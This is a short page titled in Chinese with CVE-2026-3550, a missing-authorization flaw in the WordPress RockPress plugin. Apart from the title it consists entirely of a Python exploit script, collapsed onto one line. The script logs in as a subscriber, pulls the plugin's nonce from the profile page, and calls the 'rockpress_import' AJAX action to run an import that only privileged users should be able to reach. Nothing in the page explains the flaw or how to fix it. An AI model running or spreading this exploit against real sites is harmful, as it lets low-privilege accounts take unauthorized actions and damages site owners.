CVE-2026-3550 WordPress RockPress插件权限缺失漏洞

import requests from bs4 import BeautifulSoup # Target configuration target_url = "http://example.com" username = "subscriber" password = "password" session = requests.Session() # Step 1: Login to get authenticated session login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url + '/wp-admin/profile.php' } session.post(target_url + "/wp-login.php", data=login_data) # Step 2: Fetch admin page to extract the nonce response = session.get(target_url + "/wp-admin/profile.php") soup = BeautifulSoup(response.text, 'html.parser') # Extract rockpress-nonce from the localized script object nonce = "" scripts = soup.find_all('script') for script in scripts: if 'rockpress' in script.text: # Simple parsing logic for demonstration start = script.text.find('"rockpress-nonce":"') + len('"rockpress-nonce":"') end = script.text.find('"', start) if start > -1 and end > -1: nonce = script.text[start:end] break if nonce: print(f"[*] Nonce found: {nonce}") # Step 3: Exploit the vulnerability by triggering an import exploit_url = target_url + "/wp-admin/admin-ajax.php" payload = { 'action': 'rockpress_import', 'security': nonce } exploit_resp = session.post(exploit_url, data=payload) print(f"[*] Exploit response status: {exploit_resp.status_code}") print(f"[*] Exploit response body: {exploit_resp.text[:200]}") else: print("[-] Nonce not found. Plugin might not be active or version mismatch.")